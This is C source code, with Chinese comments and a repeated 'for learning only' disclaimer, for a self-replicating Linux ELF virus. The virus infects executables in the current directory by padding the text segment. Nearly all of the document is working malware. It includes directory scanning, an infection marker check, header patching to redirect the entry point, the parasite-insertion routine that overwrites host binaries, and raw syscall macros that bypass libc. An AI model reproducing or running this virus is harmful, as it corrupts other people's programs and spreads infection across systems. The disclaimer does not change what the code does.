---------感染技术text 段感染,同会时自我复制--------- //=免责声明= 此代码纯粹是为了学习,非法使用与作者无关!!! 此代码纯粹是为了学习,非法使用与作者无关!!! 此代码纯粹是为了学习,非法使用与作者无关!!! 此代码纯粹是为了学习,非法使用与作者无关!!! 此代码纯粹是为了学习,非法使用与作者无关!!! 此代码纯粹是为了学习,非法使用与作者无关!!!
//在ELF可执行文件内的UNIX病毒感染。
//行为:
//病毒将自身复制到其具有写入权限的第一个未受感染的可执行文件中,
//因此,病毒每次复制一个可执行文件。病毒写了一点标记。
//进入它所感染的每一个二进制文件,这样它就不会再感染它了。目前的病毒
//只感染当前工作目录内的文件,但可以很容易地修改。
//此病毒在主机内的文本段结束时扩展/创建页大小填充。
//可执行文件,并将其复制到该位置。原始入口点被修补到启动寄生虫,
//在执行后将控制返回主机。 代码是独立的,并且通过SysCal宏来躲避LIBC。
//Compile:
//gcc virus.c -o virus -nostdlib
//-------------------------用到的技术------------------------------------//
// 1.将elf文件头中的 ehdr->e_shoff 增加xx页的大小
// 2.定位text 段的 phdr
// 1.将入口点修改为寄生代码的位置
// 2.ehdr->e_entry=phdr[TEXT].pvaddr+phdr[TEXT].p_filesz
// 3.pvaddr+phdr[TEXT].p_filesz增加寄生代码的长度值
// 4.将pvaddr+phdr[TEXT].p_memsz 增加寄生代码的长度值
// 3.对每个 phdr,如果对应的段位于寄生代码之后,则将phdr[x]p._offset 增加xx页的大小
// 4.找到 text 段的最后一个shdr,将shdr[x].sh_size 增加寄生代码的长度值(因为在这个节中将会存放寄生代码 )
// 5.对每个位于寄生代码插入位置之后的 shdr,将 shdr[x].sh_offset 增加 xx 页的大小
// 6.将真正的寄生代码插入到 text 段的 file_base+phdr[text].p_filesz
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/fcntl.h>
#include <errno.h>
#include <elf.h>
#include <asm/unistd.h>
#include <asm/stat.h>
#define PAGE_SIZE 4096
#define BUF_SIZE 1024
#define TMP "vx.tmp"
void end_code(void);
unsigned long get_eip();
unsigned long old_e_entry;
void end_code(void);
void mirror_binary_with_parasite (unsigned int, unsigned char *, unsigned int,
struct stat, char *, unsigned long);
extern int myend;
extern int foobar;
extern int real_start;
//main入口 修改原来的入口指向 do_main
//---------------------------------real_start:----------------------------------//
_start()
{
__asm__(".globl real_start\n"
"real_start:\n"
"pusha\n"
"call do_main\n"
"popa\n"
"jmp myend\n");
}
//注入要执行的代码
do_main()
{
struct linux_dirent
{
long d_ino;
off_t d_off;
unsigned short d_reclen;
char d_name[];
};
char *host;
char buf[BUF_SIZE];
char cwd[2];
struct linux_dirent *d;
int bpos;
int dd, nread;
unsigned char *tp;
int fd, i, c;
char text_found;
mode_t mode;
struct stat st;
//偏移
unsigned long address_of_main = get_eip() - ((char *)&foobar - (char *)&real_start);
//离 do_main大小也就是寄生代码大小
unsigned int parasite_size = (char *)&myend - (char *)&real_start;
parasite_size += 7;
unsigned long int leap_offset;
unsigned long parasite_vaddr;
unsigned int numbytes;
Elf32_Shdr *s_hdr;
Elf32_Ehdr *e_hdr;
Elf32_Phdr *p_hdr;
unsigned long text;
int nc;
int magic = 32769;
int m, md;
text_found = 0;
unsigned int after_insertion_offset;
unsigned int end_of_text;
char infected;
cwd[0] = '.';
cwd[1] = 0;
dd = open (cwd, O_RDONLY | O_DIRECTORY);
nread = getdents (dd, buf, BUF_SIZE);
for (bpos = 0; bpos < nread;) {
d = (struct linux_dirent *) (buf + bpos);
bpos += d->d_reclen;
host = d->d_name;
if (host[0] == '.')
continue;
if (host[0] == 'l')
continue;
fd = open (d->d_name, O_RDONLY);
stat(host, &st);
char mem[st.st_size];
infected = 0;
c = read (fd, mem, st.st_size);
e_hdr = (Elf32_Ehdr *) mem;
if (e_hdr->e_ident[0] != 0x7f && strcmp (&e_hdr->e_ident[1], "ELF"))
{
close (fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
md = open(d->d_name, O_RDONLY);
unsigned int pt = (PAGE_SIZE - 4) - parasite_size;
lseek(md, p_hdr->p_offset + p_hdr->p_filesz + pt, SEEK_SET);
read(md, &m, sizeof(magic));
if (m == magic)
infected++;
close(md);
break;
}
}
}
}
if (infected)
{
close(fd);
continue;
}
else
{
p_hdr = (Elf32_Phdr *) (mem + e_hdr->e_phoff);
for (i = e_hdr->e_phnum; i-- > 0; p_hdr++)
{
if (text_found)
{
p_hdr->p_offset += PAGE_SIZE;
continue;
}
else
if (p_hdr->p_type == PT_LOAD)
{
if (p_hdr->p_flags == (PF_R | PF_X))
{
text = p_hdr->p_vaddr;
parasite_vaddr = p_hdr->p_vaddr + p_hdr->p_filesz;
old_e_entry = e_hdr->e_entry;
e_hdr->e_entry = parasite_vaddr;
end_of_text = p_hdr->p_offset + p_hdr->p_filesz;
p_hdr->p_filesz += parasite_size;
p_hdr->p_memsz += parasite_size;
text_found++;
}
}
}
}
s_hdr = (Elf32_Shdr *) (mem + e_hdr->e_shoff);
for (i = e_hdr->e_shnum; i-- > 0; s_hdr++)
{
if (s_hdr->sh_offset >= end_of_text)
s_hdr->sh_offset += PAGE_SIZE;
else
if (s_hdr->sh_size + s_hdr->sh_addr == parasite_vaddr)
s_hdr->sh_size += parasite_size;
}
//增加 xx页
e_hdr->e_shoff += PAGE_SIZE;
//插入寄生代码
mirror_binary_with_parasite (parasite_size, mem, end_of_text, st, host, address_of_main);
close (fd);
goto done;
}
done:
close (dd);
}
//插入寄生代码
void
mirror_binary_with_parasite (unsigned int psize, unsigned char *mem,
unsigned int end_of_text, struct stat st, char *host, unsigned long address_of_main)
{
int ofd;
unsigned int c;
int i, t = 0;
int magic = 32769;
char tmp[3];
tmp[0] = '.';
tmp[1] = 'v';
tmp[2] = 0;
char jmp_code[7];
jmp_code[0] = '\x68'; /* push */
jmp_code[1] = '\x00'; /* 00 */
jmp_code[2] = '\x00'; /* 00 */
jmp_code[3] = '\x00'; /* 00 */
jmp_code[4] = '\x00'; /* 00 */
jmp_code[5] = '\xc3'; /* ret */
jmp_code[6] = 0;
int return_entry_start = 1;
ofd = open (tmp, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode);
write (ofd, mem, end_of_text);
*(unsigned long *) &jmp_code[1] = old_e_entry;
write (ofd, (char *)address_of_main, psize - 7);
write (ofd, jmp_code, 7);
lseek (ofd, (PAGE_SIZE - 4) - psize, SEEK_CUR);
write (ofd, &magic, sizeof(magic));
mem += end_of_text;
unsigned int last_chunk = st.st_size - end_of_text;
write (ofd, mem, last_chunk);
rename (tmp, host);
close (ofd);
}
//获取 eip
unsigned long get_eip(void)
{
__asm__("call foobar\n"
".globl foobar\n"
"foobar:\n"
"pop %eax");
}
//---------------------------foobar:----------------------------------//
//系统调用 syscall0
#define __syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
return(type)__res; \
}
//系统调用 syscall1
#define __syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
return(type)__res; \
}
//系统调用 syscall2
#define __syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
return(type)__res; \
}
//系统调用 syscall3
#define __syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
return(type)__res; \
}
//系统调用 syscall4
#define __syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
return(type)__res; \
}
//系统调用 syscall5
#define __syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
return(type)__res; \
}
//系统调用 syscall5
#define __syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
return(type),__res; \
}
//系统调用
__syscall1(void, exit, int, status);
__syscall3(ssize_t, write, int, fd, const void *, buf, size_t, count);
__syscall3(off_t, lseek, int, fildes, off_t, offset, int, whence);
__syscall2(int, fstat, int, fildes, struct stat * , buf);
__syscall2(int, rename, const char *, old, const char *, new);
__syscall3(int, open, const char *, pathname, int, flags, mode_t, mode);
__syscall1(int, close, int, fd);
__syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
__syscall3(int, read, int, fd, void *, buf, size_t, count);
__syscall2(int, stat, const char *, path, struct stat *, buf);
//main end结束
void end_code() {
__asm__(".globl myend\n"
"myend: \n"
"mov $1,%eax \n"
"mov $0,%ebx \n"
"int $0x80 \n");
}